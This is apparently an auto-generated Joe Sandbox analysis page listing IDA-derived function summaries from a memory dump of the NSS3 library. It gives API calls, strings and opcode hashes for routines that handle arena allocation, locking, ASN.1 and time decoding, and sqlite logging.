Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 648b5bc76a39fe106231e4470b806462bc686ec6e0c590da5713f98635176478
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 2F11DD71F002055BEB008B65ED55FAF3768EF81398F680028ED09E7740EB31D92AC7A9

Function 6C699850 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C69985B

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000038), ref: 6C699871

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C77D9B0,?), ref: 6C6998A2

Part of subcall function 6C6AE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6AE245
Part of subcall function 6C6AE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C6AE254

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6998B7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C699901
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C699910

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$ErrorValue$Alloc_AllocateCriticalDecodeEnterInitItem_LockPoolSectionUnlockcalloc
String ID:
API String ID: 2561846027-0
Opcode ID: d4863b9bf123b72ce8caf34d72b59ab1eceb6edd27c5b4aaaa4e09082353d6d7
Instruction ID: c300c7f9e2be4104bdf4d12c0824960c8b3b2dd384872facb10b759bc9214eb0
Opcode Fuzzy Hash: d4863b9bf123b72ce8caf34d72b59ab1eceb6edd27c5b4aaaa4e09082353d6d7
Instruction Fuzzy Hash: 0A1127B29042057BFF004F615E81FF63A68DB5639CF050624FD1C696C1E772C8A487A9

Function 6C6E3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E3D3F

Part of subcall function 6C65BA90: PORT_NewArena_Util.NSS3(00000800,6C6E3CAF,?), ref: 6C65BABF
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6E3CAF,?), ref: 6C65BAD5
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6E3CAF,?), ref: 6C65BB08
Part of subcall function 6C65BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB1A
Part of subcall function 6C65BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6E3CCB

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6E3D15
PR_ExitMonitor.NSS3(?), ref: 6C6E3D2E

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 78ee8dcc65453962edf3349c23997cda2faaf976ce615f05c3416911d81cb3b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 0C115B75A0A6006FE7205A25EC417DBB3E5EF1530CF500136E41A87B30F232F81AC74A

Function 6C6AFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction ID: 3f4a05c9c742616e56428bfde8db8ef3fa3682fcff5bcd5d0f55f93b194d77b2
Opcode Fuzzy Hash: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction Fuzzy Hash: 9011E5B6600205BBEB008B95DC40A5BB798BF55399F148034F91897B12E732DD26C7AB

Function 6C75FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C75FD9E

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C75FDB9

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C75FDD4
PR_Lock.NSS3 ref: 6C75FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C75FE0D
PR_Unlock.NSS3 ref: 6C75FE23

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction ID: 6dd34c5b40ab76d90fec65025ae3ab606a4266a3735d782823e857ba3e508371
Opcode Fuzzy Hash: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction Fuzzy Hash: F501A1B6A04601ABCF058F15FD00C42B672FB022687154374E83647BE2EB22ED29D7C6

Function 6C6E6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C6EAA9B,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6846

Part of subcall function 6C641770: calloc.MOZGLUE(00000001,0000019C,?,6C6415C2,?,?,?,?,?,00000001,00000040), ref: 6C64178D

PR_NewMonitor.NSS3(00000000,?,6C6EAA9B,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6855

Part of subcall function 6C6A8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C6555D0,00000000,00000000), ref: 6C6A868B
Part of subcall function 6C6A8680: PR_NewLock.NSS3(00000000,00000000), ref: 6C6A86A0
Part of subcall function 6C6A8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C6A86B2
Part of subcall function 6C6A8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C6A86C8
Part of subcall function 6C6A8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C6A86E2
Part of subcall function 6C6A8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C6A86EC
Part of subcall function 6C6A8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C6A8700

PR_NewMonitor.NSS3(?,6C6EAA9B,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E687D

Part of subcall function 6C641770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6418DE
Part of subcall function 6C641770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6418F1

PR_NewMonitor.NSS3(?,6C6EAA9B,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E688C

Part of subcall function 6C641770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6418FC
Part of subcall function 6C641770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C64198A

PR_NewLock.NSS3 ref: 6C6E68A5

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3 ref: 6C6E68B4

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 2037d6c6e5b50089e221d1199dd096412fea65d35e683b4c7f6d8ec16274189e
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: F501177060AF0B46E7516B7548143D77AE49F06388F14453F85AAC9B50EF71E408CBBE

Function 6C63AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C63AFDA

Strings

%s at line %d of [%.10s], xrefs: 6C63AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C63AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C63AFC4
misuse, xrefs: 6C63AFCE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction ID: cc48d3b6dd0f42abda03a091663f80657c0467757186f32d54182a31db5f781a
Opcode Fuzzy Hash: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction Fuzzy Hash: 2E910675A042258FDF04CF59C854BAAB7F1BF45314F1960ACE869AB792C334ED01DB64

Function 6C69FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C69FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C69FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C69FDDE

Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8821
Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A883D
Part of subcall function 6C6A8800: EnterCriticalSection.KERNEL32(?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8856
Part of subcall function 6C6A8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C6A8887
Part of subcall function 6C6A8800: PR_Unlock.NSS3(?,?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8899

Strings

pkcs11:, xrefs: 6C69FC4F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction ID: b93456ca4730d94e4b444e25194c5bd86eceaf0c0e67f3adfd0141c361d24dbf
Opcode Fuzzy Hash: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction Fuzzy Hash: 7651D0B1A05113ABEB008FA59C40F9A73B5AF4635CF260425FD155BB61EB20E909CB9F

Function 6C5DBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5DBE02

Part of subcall function 6C709C40: memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DBE9F

Strings

%s at line %d of [%.10s], xrefs: 6C5DBE98
database corruption, xrefs: 6C5DBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DBE89

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction ID: 2cb60c456c74f4e363c52790e46bb529bea1504c2525b308e91cf8af1d7d90c4
Opcode Fuzzy Hash: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction Fuzzy Hash: 4A310431A0435A8BC700EF6D8C94AABBBA3EF45314B1A8954EE541BA41D370FD04C7D5

Function 6C6C6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C6E57

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6EAA

Strings

nvl, xrefs: 6C6C6DF9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nvl
API String ID: 3163584228-2622381835
Opcode ID: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction ID: 27d761a5b64c3951a42306a2f93fccc51be671b2957b802cd5d755221fd57891
Opcode Fuzzy Hash: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction Fuzzy Hash: 5F31C331718612EEDB145F34CD083A6BBA4EB4931AF14063ED89AD6A40E730E456CF8F

Function 6C651EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651EE2

Part of subcall function 6C6B1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C651D97,?,?), ref: 6C6B1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F37
DER_DecodeTimeChoice_Util.NSS3(?,dLel,?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F53

Strings

dLel, xrefs: 6C651F2B, 6C651F51

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLel
API String ID: 3216063065-2953738621
Opcode ID: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction ID: 33d39be9f9a2e1454272c99b24912e9fb2a47bea87085d4a8d4070bcf6d88dfd
Opcode Fuzzy Hash: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction Fuzzy Hash: 7921A471504306AFC700CF2ADD00ADBB7E9BB85799F500929E854D3A40F331E529CBE6

Function 6C640DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C640BDE), ref: 6C640DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C640BDE), ref: 6C640DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C640BDE), ref: 6C640DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C640BDE), ref: 6C640E32

Strings

%s incr => %d (find lib), xrefs: 6C640E2D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
